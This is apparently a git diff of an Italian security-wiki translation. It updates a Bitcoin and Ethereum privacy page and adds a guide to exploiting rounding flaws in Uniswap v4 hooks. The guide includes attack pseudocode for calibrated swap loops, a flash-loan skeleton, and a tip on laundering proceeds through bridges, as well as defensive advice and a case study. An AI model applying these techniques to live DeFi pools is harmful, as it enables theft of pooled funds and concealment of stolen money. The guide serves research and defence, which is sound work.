IOSurface. -Con queste primitive, l'exploit fornisce **32-bit reads** controllate e **64-bit writes** alla memoria kernel. Passi successivi per il jailbreak potrebbero comportare primitive di read/write più stabili, che potrebbero richiedere il bypass di protezioni aggiuntive (es., PPL su dispositivi arm64e più recenti). +Con questi primitivi, l'exploit fornisce **32-bit reads** controllate e **64-bit writes** alla memoria del kernel. Ulteriori passaggi di jailbreak potrebbero comportare primitivi di lettura/scrittura più stabili, che potrebbero richiedere l'aggiramento di protezioni aggiuntive (ad es., PPL su dispositivi arm64e più recenti). {{#include ../../banners/hacktricks-training.md}} diff --git a/src/blockchain/blockchain-and-crypto-currencies/README.md b/src/blockchain/blockchain-and-crypto-currencies/README.md index d44d8502c..0734132f7 100644 --- a/src/blockchain/blockchain-and-crypto-currencies/README.md +++ b/src/blockchain/blockchain-and-crypto-currencies/README.md @@ -1,174 +1,176 @@ +# Blockchain e Criptovalute + {{#include ../../banners/hacktricks-training.md}} -## Concetti di Base +## Concetti di base -- **Smart Contracts** sono definiti come programmi che vengono eseguiti su una blockchain quando vengono soddisfatte determinate condizioni, automatizzando l'esecuzione degli accordi senza intermediari. -- **Decentralized Applications (dApps)** si basano su smart contracts, presentando un'interfaccia utente intuitiva e un back-end trasparente e verificabile. -- **Tokens & Coins** differenziano dove le monete servono come denaro digitale, mentre i token rappresentano valore o proprietà in contesti specifici. -- **Utility Tokens** concedono accesso ai servizi, e **Security Tokens** significano proprietà di asset. -- **DeFi** sta per Finanza Decentralizzata, offrendo servizi finanziari senza autorità centrali. -- **DEX** e **DAOs** si riferiscono a Piattaforme di Scambio Decentralizzate e Organizzazioni Autonome Decentralizzate, rispettivamente. +- **Smart Contracts** sono definiti come programmi che vengono eseguiti su una blockchain quando sono soddisfatte determinate condizioni, automatizzando l'esecuzione di accordi senza intermediari. +- **Decentralized Applications (dApps)** si basano su smart contract, presentando un front-end con interfaccia utente intuitiva e un back-end trasparente e verificabile. +- **Tokens & Coins** differenziano: le coin fungono da moneta digitale, mentre i token rappresentano valore o proprietà in contesti specifici. +- **Utility Tokens** danno accesso a servizi, e i **Security Tokens** indicano la proprietà di un asset. +- **DeFi** sta per Decentralized Finance, offrendo servizi finanziari senza autorità centrali. +- **DEX** e **DAOs** si riferiscono rispettivamente a Decentralized Exchange Platforms e Decentralized Autonomous Organizations. -## Meccanismi di Consenso +## Meccanismi di consenso -I meccanismi di consenso garantiscono validazioni di transazione sicure e concordate sulla blockchain: +I meccanismi di consenso assicurano la validazione sicura e concordata delle transazioni sulla blockchain: - **Proof of Work (PoW)** si basa sulla potenza computazionale per la verifica delle transazioni. -- **Proof of Stake (PoS)** richiede ai validatori di detenere una certa quantità di token, riducendo il consumo energetico rispetto al PoW. +- **Proof of Stake (PoS)** richiede che i validator detengano una certa quantità di token, riducendo il consumo energetico rispetto al PoW. -## Fondamentali di Bitcoin +## Nozioni essenziali su Bitcoin ### Transazioni -Le transazioni Bitcoin comportano il trasferimento di fondi tra indirizzi. Le transazioni vengono validate tramite firme digitali, garantendo che solo il proprietario della chiave privata possa avviare i trasferimenti. +Le transazioni Bitcoin coinvolgono il trasferimento di fondi tra indirizzi. Le transazioni sono validate tramite firme digitali, garantendo che solo il proprietario della chiave privata possa iniziare i trasferimenti. -#### Componenti Chiave: +#### Componenti chiave: -- **Transazioni Multisignature** richiedono più firme per autorizzare una transazione. -- Le transazioni consistono in **input** (fonte di fondi), **output** (destinazione), **commissioni** (pagate ai miner) e **script** (regole della transazione). +- **Multisignature Transactions** richiedono più firme per autorizzare una transazione. +- Le transazioni sono composte da **inputs** (fonte dei fondi), **outputs** (destinazione), **fees** (pagate ai miner) e **scripts** (regole della transazione). ### Lightning Network -Punta a migliorare la scalabilità di Bitcoin consentendo più transazioni all'interno di un canale, trasmettendo solo lo stato finale alla blockchain. +Punta a migliorare la scalabilità di Bitcoin permettendo molteplici transazioni all'interno di un canale, trasmettendo alla blockchain solo lo stato finale. -## Preoccupazioni sulla Privacy di Bitcoin +## Preoccupazioni sulla privacy di Bitcoin -Gli attacchi alla privacy, come **Common Input Ownership** e **UTXO Change Address Detection**, sfruttano i modelli di transazione. Strategie come **Mixers** e **CoinJoin** migliorano l'anonimato oscurando i collegamenti delle transazioni tra gli utenti. +Gli attacchi alla privacy, come **Common Input Ownership** e **UTXO Change Address Detection**, sfruttano i modelli di transazione. Strategie come **Mixers** e **CoinJoin** migliorano l'anonimato oscurando i collegamenti tra le transazioni degli utenti. -## Acquisire Bitcoin in Modo Anonimo +## Acquisire Bitcoin in modo anonimo -I metodi includono scambi in contante, mining e utilizzo di mixer. **CoinJoin** mescola più transazioni per complicare la tracciabilità, mentre **PayJoin** maschera i CoinJoin come transazioni normali per una maggiore privacy. +I metodi includono scambi in contanti, mining e l'uso di mixers. **CoinJoin** mescola più transazioni per rendere più complicata la tracciabilità, mentre **PayJoin** camuffa i CoinJoin come transazioni normali per una maggiore privacy. -# Attacchi alla Privacy di Bitcoin +# Bitcoin Privacy Atacks -# Riepilogo degli Attacchi alla Privacy di Bitcoin +# Riepilogo degli attacchi alla privacy di Bitcoin -Nel mondo di Bitcoin, la privacy delle transazioni e l'anonimato degli utenti sono spesso oggetto di preoccupazione. Ecco una panoramica semplificata di diversi metodi comuni attraverso i quali gli attaccanti possono compromettere la privacy di Bitcoin. +Nel mondo di Bitcoin, la privacy delle transazioni e l'anonimato degli utenti sono spesso motivo di preoccupazione. Ecco una panoramica semplificata di diversi metodi comuni con cui gli attaccanti possono compromettere la privacy su Bitcoin. -## **Assunzione di Proprietà di Input Comuni** +## **Common Input Ownership Assumption** -È generalmente raro che input di diversi utenti vengano combinati in una singola transazione a causa della complessità coinvolta. Pertanto, **due indirizzi di input nella stessa transazione sono spesso assunti appartenere allo stesso proprietario**. +È generalmente raro che inputs provenienti da utenti diversi vengano combinati in un'unica transazione a causa della complessità implicata. Pertanto, **due indirizzi di input nella stessa transazione sono spesso considerati appartenenti allo stesso proprietario**. -## **Rilevamento dell'Indirizzo di Cambio UTXO** +## **UTXO Change Address Detection** -Un UTXO, o **Unspent Transaction Output**, deve essere completamente speso in una transazione. Se solo una parte di esso viene inviata a un altro indirizzo, il resto va a un nuovo indirizzo di cambio. Gli osservatori possono assumere che questo nuovo indirizzo appartenga al mittente, compromettendo la privacy. +Un UTXO, o **Unspent Transaction Output**, deve essere speso interamente in una transazione. Se solo una parte viene inviata a un altro indirizzo, il resto va a un nuovo change address. Gli osservatori possono presumere che questo nuovo indirizzo appartenga al mittente, compromettendo la privacy. ### Esempio Per mitigare questo, i servizi di mixing o l'uso di più indirizzi possono aiutare a oscurare la proprietà. -## **Esposizione su Reti Sociali e Forum** +## **Esposizione su social network e forum** Gli utenti a volte condividono i loro indirizzi Bitcoin online, rendendo **facile collegare l'indirizzo al suo proprietario**. -## **Analisi del Grafo delle Transazioni** +## **Transaction Graph Analysis** -Le transazioni possono essere visualizzate come grafi, rivelando potenziali collegamenti tra gli utenti in base al flusso di fondi. +Le transazioni possono essere visualizzate come grafi, rivelando potenziali connessioni tra utenti basate sul flusso di fondi. -## **Euristica di Input Non Necessari (Euristica di Cambio Ottimale)** +## **Unnecessary Input Heuristic (Optimal Change Heuristic)** -Questa euristica si basa sull'analisi delle transazioni con più input e output per indovinare quale output è il cambio che ritorna al mittente. +Questa euristica si basa sull'analisi di transazioni con multipli input e output per indovinare quale output sia il change che ritorna al mittente. ### Esempio ```bash 2 btc --> 4 btc 3 btc 1 btc ``` -Se l'aggiunta di più input rende l'output del cambiamento più grande di qualsiasi singolo input, può confondere l'euristica. +Se aggiungere più input fa sì che l'output di resto sia più grande di qualsiasi singolo input, può confondere l'euristica. -## **Riutilizzo Forzato degli Indirizzi** +## **Forced Address Reuse** -Gli attaccanti possono inviare piccole somme a indirizzi già utilizzati, sperando che il destinatario le combini con altri input in future transazioni, collegando così gli indirizzi tra loro. +Gli attaccanti possono inviare piccole quantità a indirizzi già usati, sperando che il destinatario le combini con altri input in transazioni future, collegando così gli indirizzi tra loro. -### Comportamento Corretto del Wallet +### Correct Wallet Behavior -I wallet dovrebbero evitare di utilizzare monete ricevute su indirizzi già utilizzati e vuoti per prevenire questa perdita di privacy. +I wallet dovrebbero evitare di usare monete ricevute su indirizzi vuoti già usati per prevenire questo privacy leak. -## **Altre Tecniche di Analisi della Blockchain** +## **Other Blockchain Analysis Techniques** -- **Importi di Pagamento Esatti:** Le transazioni senza resto sono probabilmente tra due indirizzi di proprietà dello stesso utente. -- **Numeri Rotondi:** Un numero tondo in una transazione suggerisce che si tratta di un pagamento, con l'output non tondo che probabilmente è il resto. -- **Fingerprinting del Wallet:** I diversi wallet hanno schemi unici di creazione delle transazioni, consentendo agli analisti di identificare il software utilizzato e potenzialmente l'indirizzo di resto. -- **Correlazioni tra Importo e Tempistiche:** La divulgazione dei tempi o degli importi delle transazioni può rendere le transazioni tracciabili. +- **Exact Payment Amounts:** Le transazioni senza resto sono probabilmente tra due indirizzi appartenenti allo stesso utente. +- **Round Numbers:** Un numero tondo in una transazione suggerisce che si tratta di un pagamento, con l'output non tondo probabilmente costituito dal resto. +- **Wallet Fingerprinting:** Diversi wallet hanno modelli unici di creazione delle transazioni, permettendo agli analisti di identificare il software usato e potenzialmente l'indirizzo di resto. +- **Amount & Timing Correlations:** Rivelare orari o importi delle transazioni può renderle tracciabili. -## **Analisi del Traffico** +## **Traffic Analysis** -Monitorando il traffico di rete, gli attaccanti possono potenzialmente collegare transazioni o blocchi a indirizzi IP, compromettendo la privacy degli utenti. Questo è particolarmente vero se un'entità gestisce molti nodi Bitcoin, migliorando la propria capacità di monitorare le transazioni. +Monitorando il traffico di rete, gli attaccanti possono potenzialmente collegare transazioni o blocchi a indirizzi IP, compromettendo la privacy degli utenti. Questo è particolarmente vero se un'entità gestisce molti nodi Bitcoin, migliorando la sua capacità di monitorare le transazioni. -## Altro +## More -Per un elenco completo di attacchi alla privacy e difese, visita [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy). +Per un elenco completo di attacchi alla privacy e contromisure, visita [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy). -# Transazioni Bitcoin Anonime +# Anonymous Bitcoin Transactions -## Modi per Ottenere Bitcoin Anonimamente +## Ways to Get Bitcoins Anonymously -- **Transazioni in Contante**: Acquisire bitcoin tramite contante. -- **Alternative al Contante**: Acquistare carte regalo e scambiarle online per bitcoin. -- **Mining**: Il metodo più privato per guadagnare bitcoin è attraverso il mining, specialmente se fatto da solo, poiché i pool di mining possono conoscere l'indirizzo IP del miner. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining) -- **Furto**: Teoricamente, rubare bitcoin potrebbe essere un altro metodo per acquisirlo in modo anonimo, anche se è illegale e non raccomandato. +- **Cash Transactions**: Ottenere bitcoin tramite contanti. +- **Cash Alternatives**: Acquistare gift card e scambiarle online per bitcoin. +- **Mining**: Il metodo più privato per guadagnare bitcoin è il mining, specialmente se fatto in solitaria, perché i mining pool possono conoscere l'indirizzo IP del miner. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining) +- **Theft**: Teoricamente, rubare bitcoin potrebbe essere un altro metodo per acquisirli in modo anonimo, anche se è illegale e non consigliato. -## Servizi di Mixing +## Mixing Services -Utilizzando un servizio di mixing, un utente può **inviare bitcoin** e ricevere **bitcoin diversi in cambio**, il che rende difficile rintracciare il proprietario originale. Tuttavia, ciò richiede fiducia nel servizio affinché non tenga registri e restituisca effettivamente i bitcoin. Opzioni di mixing alternative includono i casinò Bitcoin. +Usando un mixing service, un utente può **send bitcoins** e **receive different bitcoins in return**, rendendo difficile tracciare il proprietario originale. Tuttavia, questo richiede fiducia nel servizio affinché non tenga log e che restituisca effettivamente i bitcoin. Opzioni alternative di mixing includono i casinò Bitcoin. ## CoinJoin -**CoinJoin** unisce più transazioni da diversi utenti in una sola, complicando il processo per chiunque cerchi di abbinare input e output. Nonostante la sua efficacia, le transazioni con dimensioni di input e output uniche possono comunque essere potenzialmente tracciate. +**CoinJoin** fonde più transazioni provenienti da utenti diversi in una sola, complicando il processo per chiunque cerchi di associare input e output. Nonostante la sua efficacia, le transazioni con dimensioni uniche di input e output possono comunque essere potenzialmente tracciate. -Esempi di transazioni che potrebbero aver utilizzato CoinJoin includono `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` e `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`. +Esempi di transazioni che potrebbero aver usato CoinJoin includono `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` e `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`. -Per ulteriori informazioni, visita [CoinJoin](https://coinjoin.io/en). Per un servizio simile su Ethereum, dai un'occhiata a [Tornado Cash](https://tornado.cash), che anonimizza le transazioni con fondi provenienti dai miner. +Per maggiori informazioni, visita [CoinJoin](https://coinjoin.io/en). Per un servizio simile su Ethereum, vedi [Tornado Cash](https://tornado.cash), che anonimizza le transazioni con fondi provenienti dai miner. ## PayJoin -Una variante di CoinJoin, **PayJoin** (o P2EP), maschera la transazione tra due parti (ad esempio, un cliente e un commerciante) come una transazione normale, senza le caratteristiche distintive degli output uguali tipiche di CoinJoin. Questo rende estremamente difficile da rilevare e potrebbe invalidare l'euristica di proprietà degli input comuni utilizzata dalle entità di sorveglianza delle transazioni. +Una variante di CoinJoin, **PayJoin** (o P2EP), maschera la transazione tra due parti (es. un cliente e un commerciante) come una normale transazione, senza gli output uguali distintivi tipici di CoinJoin. Questo la rende estremamente difficile da rilevare e potrebbe invalidare l'euristica common-input-ownership usata dalle entità di sorveglianza delle transazioni. ```plaintext 2 btc --> 3 btc 5 btc 4 btc ``` -Le transazioni come quelle sopra potrebbero essere PayJoin, migliorando la privacy rimanendo indistinguibili dalle transazioni bitcoin standard. +Transazioni come quella sopra potrebbero essere PayJoin, migliorando la privacy pur rimanendo indistinguibili dalle transazioni bitcoin standard. -**L'utilizzo di PayJoin potrebbe interrompere significativamente i metodi di sorveglianza tradizionali**, rendendolo uno sviluppo promettente nella ricerca della privacy transazionale. +**L'utilizzo di PayJoin potrebbe interrompere significativamente i metodi tradizionali di sorveglianza**, rendendolo uno sviluppo promettente nella ricerca della privacy transazionale. -# Migliori Pratiche per la Privacy nelle Criptovalute +# Pratiche consigliate per la privacy nelle criptovalute -## **Tecniche di Sincronizzazione dei Wallet** +## **Tecniche di sincronizzazione del wallet** -Per mantenere la privacy e la sicurezza, è cruciale sincronizzare i wallet con la blockchain. Due metodi si distinguono: +Per mantenere privacy e sicurezza, sincronizzare i wallet con la blockchain è fondamentale. Due metodi si distinguono: -- **Full node**: Scaricando l'intera blockchain, un full node garantisce la massima privacy. Tutte le transazioni mai effettuate sono memorizzate localmente, rendendo impossibile per gli avversari identificare quali transazioni o indirizzi interessano l'utente. -- **Filtraggio dei blocchi lato client**: Questo metodo prevede la creazione di filtri per ogni blocco nella blockchain, consentendo ai wallet di identificare transazioni rilevanti senza esporre interessi specifici agli osservatori della rete. I wallet leggeri scaricano questi filtri, recuperando solo blocchi completi quando viene trovata una corrispondenza con gli indirizzi dell'utente. +- **Full node**: Scaricando l'intera blockchain, un nodo completo garantisce la massima privacy. Tutte le transazioni effettuate sono memorizzate localmente, rendendo impossibile per gli avversari identificare quali transazioni o indirizzi interessano all'utente. +- **Client-side block filtering**: Questo metodo prevede la creazione di filtri per ogni blocco della blockchain, permettendo ai wallet di identificare le transazioni rilevanti senza esporre interessi specifici agli osservatori di rete. I wallet leggeri scaricano questi filtri, recuperando i blocchi completi solo quando c'è una corrispondenza con gli indirizzi dell'utente. -## **Utilizzo di Tor per l'Anonymity** +## **Utilizzo di Tor per l'anonimato** -Dato che Bitcoin opera su una rete peer-to-peer, si consiglia di utilizzare Tor per mascherare il proprio indirizzo IP, migliorando la privacy durante l'interazione con la rete. +Poiché Bitcoin opera su una rete peer-to-peer, si raccomanda l'uso di Tor per mascherare il proprio indirizzo IP, migliorando la privacy durante l'interazione con la rete. -## **Prevenire il Riutilizzo degli Indirizzi** +## **Evitare il riutilizzo degli indirizzi** -Per proteggere la privacy, è fondamentale utilizzare un nuovo indirizzo per ogni transazione. Riutilizzare indirizzi può compromettere la privacy collegando le transazioni alla stessa entità. I wallet moderni scoraggiano il riutilizzo degli indirizzi attraverso il loro design. +Per proteggere la privacy, è fondamentale usare un nuovo indirizzo per ogni transazione. Il riutilizzo degli indirizzi può compromettere la privacy collegando transazioni alla stessa entità. I wallet moderni scoraggiano il riutilizzo degli indirizzi tramite il loro design. -## **Strategie per la Privacy delle Transazioni** +## **Strategie per la privacy delle transazioni** -- **Transazioni multiple**: Suddividere un pagamento in più transazioni può offuscare l'importo della transazione, ostacolando gli attacchi alla privacy. -- **Evitare il resto**: Optare per transazioni che non richiedono output di resto migliora la privacy interrompendo i metodi di rilevamento del resto. -- **Molteplici output di resto**: Se evitare il resto non è fattibile, generare molteplici output di resto può comunque migliorare la privacy. +- **Più transazioni**: Suddividere un pagamento in diverse transazioni può oscurare l'importo trasferito, contrastando attacchi alla privacy. +- **Evitare output di resto**: Scegliere transazioni che non richiedono output di resto aumenta la privacy interrompendo i metodi di rilevamento del change. +- **Più output di resto**: Se evitare il resto non è fattibile, generare più output di resto può comunque migliorare la privacy. -# **Monero: Un Faro di Anonimato** +# **Monero: Un faro di anonimato** -Monero risponde alla necessità di anonimato assoluto nelle transazioni digitali, stabilendo un elevato standard per la privacy. +Monero risponde alla necessità di anonimato assoluto nelle transazioni digitali, fissando uno standard elevato per la privacy. -# **Ethereum: Gas e Transazioni** +# **Ethereum: Gas e transazioni** ## **Comprendere il Gas** -Il gas misura lo sforzo computazionale necessario per eseguire operazioni su Ethereum, con un prezzo in **gwei**. Ad esempio, una transazione che costa 2.310.000 gwei (o 0.00231 ETH) comporta un limite di gas e una tariffa base, con una mancia per incentivare i miner. Gli utenti possono impostare una tariffa massima per garantire di non pagare troppo, con l'eccedenza rimborsata. +Il gas misura lo sforzo computazionale necessario per eseguire operazioni su Ethereum, prezzato in **gwei**. Ad esempio, una transazione che costa 2.310.000 gwei (o 0.00231 ETH) coinvolge un gas limit e una base fee, con una tip per incentivare i miner. Gli utenti possono impostare una max fee per assicurarsi di non pagare troppo; l'eccesso viene rimborsato. -## **Esecuzione delle Transazioni** +## **Esecuzione delle transazioni** -Le transazioni in Ethereum coinvolgono un mittente e un destinatario, che possono essere indirizzi di utenti o smart contract. Richiedono una tariffa e devono essere minate. Le informazioni essenziali in una transazione includono il destinatario, la firma del mittente, il valore, dati opzionali, limite di gas e tariffe. Notabilmente, l'indirizzo del mittente è dedotto dalla firma, eliminando la necessità di includerlo nei dati della transazione. +Le transazioni su Ethereum coinvolgono un mittente e un destinatario, che possono essere indirizzi utente o smart contract. Richiedono una fee e devono essere minate. Le informazioni essenziali in una transazione includono il destinatario, la firma del mittente, il valore, eventuali dati opzionali, il gas limit e le fee. Nota che l'indirizzo del mittente è dedotto dalla firma, eliminando la necessità di includerlo nei dati della transazione. -Queste pratiche e meccanismi sono fondamentali per chiunque desideri interagire con le criptovalute dando priorità alla privacy e alla sicurezza. +Queste pratiche e meccanismi sono fondamentali per chiunque desideri interagire con le criptovalute dando priorità a privacy e sicurezza. ## Riferimenti @@ -179,4 +181,12 @@ Queste pratiche e meccanismi sono fondamentali per chiunque desideri interagire - [https://ethereum.org/en/developers/docs/gas/](https://ethereum.org/en/developers/docs/gas/) - [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy#Forced_address_reuse) +## DeFi/AMM Exploitation + +If you are researching practical exploitation of DEXes and AMMs (Uniswap v4 hooks, rounding/precision abuse, flash‑loan amplified threshold‑crossing swaps), check: + +{{#ref}} +defi-amm-hook-precision.md +{{#endref}} + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/blockchain/blockchain-and-crypto-currencies/defi-amm-hook-precision.md b/src/blockchain/blockchain-and-crypto-currencies/defi-amm-hook-precision.md new file mode 100644 index 000000000..cc417b017 --- /dev/null +++ b/src/blockchain/blockchain-and-crypto-currencies/defi-amm-hook-precision.md @@ -0,0 +1,160 @@ +# DeFi/AMM Exploitation: Uniswap v4 Hook Precision/Rounding Abuse + +{{#include ../../banners/hacktricks-training.md}} + +Questa pagina documenta una classe di tecniche di sfruttamento DeFi/AMM contro DEX in stile Uniswap v4 che estendono la matematica core con custom hooks. Un incidente recente in Bunni V2 ha sfruttato una falla di arrotondamento/precisione in una Liquidity Distribution Function (LDF) eseguita ad ogni swap, permettendo all'attaccante di accumulare crediti positivi e prosciugare la liquidità. + +Idea chiave: se un hook implementa contabilità aggiuntiva che dipende da matematica a punto fisso, arrotondamento di tick e logica basata su soglie, un attaccante può costruire swap exactInput precisi che attraversano soglie specifiche in modo che le discrepanze di arrotondamento si accumulino a suo favore. Ripetendo il pattern e poi ritirando il saldo gonfiato si realizza il profitto, spesso finanziato con un flash loan. + +## Background: Uniswap v4 hooks and swap flow + +- Hooks sono contratti che il PoolManager chiama in punti specifici del ciclo di vita (es. beforeSwap/afterSwap, beforeAddLiquidity/afterAddLiquidity, beforeRemoveLiquidity/afterRemoveLiquidity). +- Pools sono inizializzati con un PoolKey che include hooks address. Se non‑zero, PoolManager esegue callback ad ogni operazione rilevante. +- La matematica core usa formati a punto fisso come Q64.96 per sqrtPriceX96 e aritmetica dei tick con 1.0001^tick. Qualsiasi matematica custom sovrapposta deve attentamente rispettare le semantiche di arrotondamento per evitare drift degli invarianti. +- Gli swap possono essere exactInput o exactOutput. In v3/v4, il prezzo si muove lungo i tick; attraversare un confine di tick può attivare/disattivare la liquidity di range. Gli hook possono implementare logiche extra su crossing di soglie/tick. + +## Vulnerability archetype: threshold‑crossing precision/rounding drift + +Un pattern tipico vulnerabile negli hook custom: + +1. L'hook calcola delta di liquidity o di balance per swap usando integer division, mulDiv, o conversioni a punto fisso (es. token ↔ liquidity usando sqrtPrice e tick ranges). +2. La logica di soglia (es. rebalancing, redistribuzione stepwise, o attivazione per range) viene attivata quando la dimensione dello swap o lo spostamento di prezzo oltrepassa un confine interno. +3. L'arrotondamento viene applicato in modo incoerente (es. troncamento verso zero, floor vs ceil) tra il calcolo forward e il percorso di settlement. Piccole discrepanze non si annullano e invece accreditano il caller. +4. Swap exactInput, dimensionati con precisione per straddlare quei confini, raccolgono ripetutamente il resto di arrotondamento positivo. L'attaccante poi ritira il credito accumulato. + +Precondizioni per l'attacco +- Un pool che usa un custom v4 hook che esegue matematica aggiuntiva ad ogni swap (es. una LDF/rebalancer). +- Almeno un percorso di esecuzione dove l'arrotondamento favorisce lo swap initiator attraverso crossing di soglie. +- Capacità di ripetere molti swap in modo atomico (i flash loans sono ideali per fornire float temporaneo e ammortizzare il gas). + +## Practical attack methodology + +1) Identificare pool candidati con hooks +- Enumerare v4 pools e verificare PoolKey.hooks != address(0). +- Ispezionare hook bytecode/ABI per callbacks: beforeSwap/afterSwap e qualsiasi metodo custom di rebalancing. +- Cercare matematica che: divide per liquidity, converte tra token amounts e liquidity, o aggrega BalanceDelta con arrotondamento. + +2) Modellare la matematica e le soglie dell'hook +- Ricreare la formula di liquidity/redistribution dell'hook: gli input tipici includono sqrtPriceX96, tickLower/Upper, currentTick, fee tier, e net liquidity. +- Mappare funzioni di soglia/step: ticks, bucket boundaries, o LDF breakpoints. Determinare da quale lato di ogni confine il delta viene arrotondato. +- Identificare dove le conversioni castano tra uint256/int256, usano SafeCast, o fanno affidamento su mulDiv con floor implicito. + +3) Tarare swap exact‑input per attraversare i confini +- Usare Foundry/Hardhat simulations per calcolare il Δin minimo necessario a spostare il prezzo appena oltre un confine e triggerare il branch dell'hook. +- Verificare che il settlement afterSwap accrediti il caller più del costo, lasciando un BalanceDelta positivo o un credito nella contabilità dell'hook. +- Ripetere gli swap per accumulare credito; poi chiamare il percorso di withdrawal/settlement dell'hook. + +Example Foundry‑style test harness (pseudocode) +```solidity +function test_precision_rounding_abuse() public { +// 1) Arrange: set up pool with hook +PoolKey memory key = PoolKey({ +currency0: USDC, +currency1: USDT, +fee: 500, // 0.05% +tickSpacing: 10, +hooks: address(bunniHook) +}); +pm.initialize(key, initialSqrtPriceX96); + +// 2) Determine a boundary‑crossing exactInput +uint256 exactIn = calibrateToCrossThreshold(key, targetTickBoundary); + +// 3) Loop swaps to accrue rounding credit +for (uint i; i < N; ++i) { +pm.swap( +key, +IPoolManager.SwapParams({ +zeroForOne: true, +amountSpecified: int256(exactIn), // exactInput +sqrtPriceLimitX96: 0 // allow tick crossing +}), +"" +); +} + +// 4) Realize inflated credit via hook‑exposed withdrawal +bunniHook.withdrawCredits(msg.sender); +} +``` +Calibrazione di exactInput +- Calcola ΔsqrtP per un passo di tick: sqrtP_next = sqrtP_current × 1.0001^(Δtick). +- Approssima Δin usando le formule v3/v4: Δx ≈ L × (ΔsqrtP / (sqrtP_next × sqrtP_current)). Assicurati che la direzione di arrotondamento corrisponda alla matematica core. +- Regola Δin di ±1 wei attorno al confine per trovare il ramo in cui l'hook arrotonda a tuo favore. + +4) Amplifica con flash loans +- Prendi in prestito un grande nozionale (es., 3M USDT o 2000 WETH) per eseguire molte iterazioni in modo atomico. +- Esegui il loop di swap calibrato, poi preleva e ripaga all'interno del flash loan callback. + +Aave V3 flash loan skeleton +```solidity +function executeOperation( +address[] calldata assets, +uint256[] calldata amounts, +uint256[] calldata premiums, +address initiator, +bytes calldata params +) external returns (bool) { +// run threshold‑crossing swap loop here +for (uint i; i < N; ++i) { +_exactInBoundaryCrossingSwap(); +} +// realize credits / withdraw inflated balances +bunniHook.withdrawCredits(address(this)); +// repay +for (uint j; j < assets.length; ++j) { +IERC20(assets[j]).approve(address(POOL), amounts[j] + premiums[j]); +} +return true; +} +``` +5) Exit e replicazione cross‑chain +- Se gli hook sono distribuiti su più catene, ripeti la stessa calibrazione per ciascuna catena. +- I proventi del bridge vengono riportati alla chain di destinazione e opzionalmente si cicla tramite protocolli di prestito per offuscare i flussi. + +## Cause comuni nella matematica degli hook + +- Semantiche di arrotondamento miste: mulDiv esegue floor mentre percorsi successivi arrotondano per eccesso; o le conversioni tra token e liquidità applicano arrotondamenti differenti. +- Errori di allineamento dei tick: uso di tick non arrotondati in un percorso e arrotondamento a spazi di tick in un altro. +- Problemi di segno/overflow di BalanceDelta quando si converte tra int256 e uint256 durante il settlement. +- Perdita di precisione nelle conversioni Q64.96 (sqrtPriceX96) non rispecchiata nella mappatura inversa. +- Percorsi di accumulo: i residui per swap vengono tracciati come crediti prelevabili dal caller invece di essere bruciati/azzerati. + +## Linee guida difensive + +- Test differenziale: confronta la matematica dell'hook con un'implementazione di riferimento usando aritmetica razionale ad alta precisione e asserisci uguaglianza o un errore limitato che sia sempre avverso (mai favorevole al caller). +- Test di invarianti/proprietà: +- La somma dei delta (token, liquidità) attraverso i percorsi di swap e gli aggiustamenti degli hook deve conservare valore modulo le fee. +- Nessun percorso dovrebbe creare un credito netto positivo per l'iniziatore dello swap su ripetute iterazioni exactInput. +- Test sui limiti/threshold dei tick attorno a input di ±1 wei sia per exactInput che per exactOutput. +- Policy di arrotondamento: centralizza helper di arrotondamento che arrotondano sempre contro l'utente; elimina cast incoerenti e floor impliciti. +- Destinazioni di settlement: accumula i residui di arrotondamento inevitabili nella tesoreria del protocollo o bruciali; non attribuirli mai a msg.sender. +- Rate‑limit/guardrails: dimensione minima degli swap per trigger di rebalancing; disabilita i rebalances se i delta sono sub‑wei; sanity‑check dei delta rispetto ai range attesi. +- Revisiona i callback degli hook in modo olistico: beforeSwap/afterSwap e before/after dei cambi di liquidità devono concordare sull'allineamento dei tick e sull'arrotondamento dei delta. + +## Caso di studio: Bunni V2 (2025‑09‑02) + +- Protocollo: Bunni V2 (Uniswap v4 hook) con una LDF applicata per swap per ribilanciare. +- Causa principale: errore di arrotondamento/precisione nella contabilizzazione della liquidità LDF durante swap che attraversano soglie; discrepanze per swap accumulate come crediti positivi per il caller. +- Gamba Ethereum: l'attacker ha preso un flash loan di ~3M USDT, eseguito swap exact‑input calibrati su USDC/USDT per accumulare crediti, prelevato saldi gonfiati, rimborsato e instradato i fondi via Aave. +- Gamba UniChain: ha ripetuto l'exploit con un flash loan di 2000 WETH, sottraendo ~1366 WETH e trasferendo su Ethereum tramite bridge. +- Impatto: circa USD 8.3M drenati attraverso le chain. Nessuna interazione utente richiesta; completamente on‑chain. + +## Checklist per la ricerca + +- Il pool usa un indirizzo hooks non‑zero? Quali callback sono abilitati? +- Ci sono redistribuzioni/rebalances per swap che usano matematiche custom? Qualche logica di tick/soglie? +- Dove sono usate divisioni/mulDiv, conversioni Q64.96, o SafeCast? Le semantiche di arrotondamento sono coerenti globalmente? +- Puoi costruire un Δin che appena oltrepassa un confine e provoca un ramo di arrotondamento favorevole? Testa entrambe le direzioni e sia exactInput che exactOutput. +- L'hook traccia crediti o delta per caller che possono essere prelevati successivamente? Assicurati che il residuo sia neutralizzato. + +## Riferimenti + +- [Bunni V2 Exploit: $8.3M Drained via Liquidity Flaw (summary)](https://quillaudits.medium.com/bunni-v2-exploit-8-3m-drained-50acbdcd9e7b) +- [Bunni V2 Exploit: Full Hack Analysis](https://www.quillaudits.com/blog/hack-analysis/bunni-v2-exploit) +- [Uniswap v4 background (QuillAudits research)](https://www.quillaudits.com/research/uniswap-development) +- [Liquidity mechanics in Uniswap v4 core](https://www.quillaudits.com/research/uniswap-development/uniswap-v4/liquidity-mechanics-in-uniswap-v4-core) +- [Swap mechanics in Uniswap v4 core](https://www.quillaudits.com/research/uniswap-development/uniswap-v4/swap-mechanics-in-uniswap-v4-core) +- [Uniswap v4 Hooks and Security 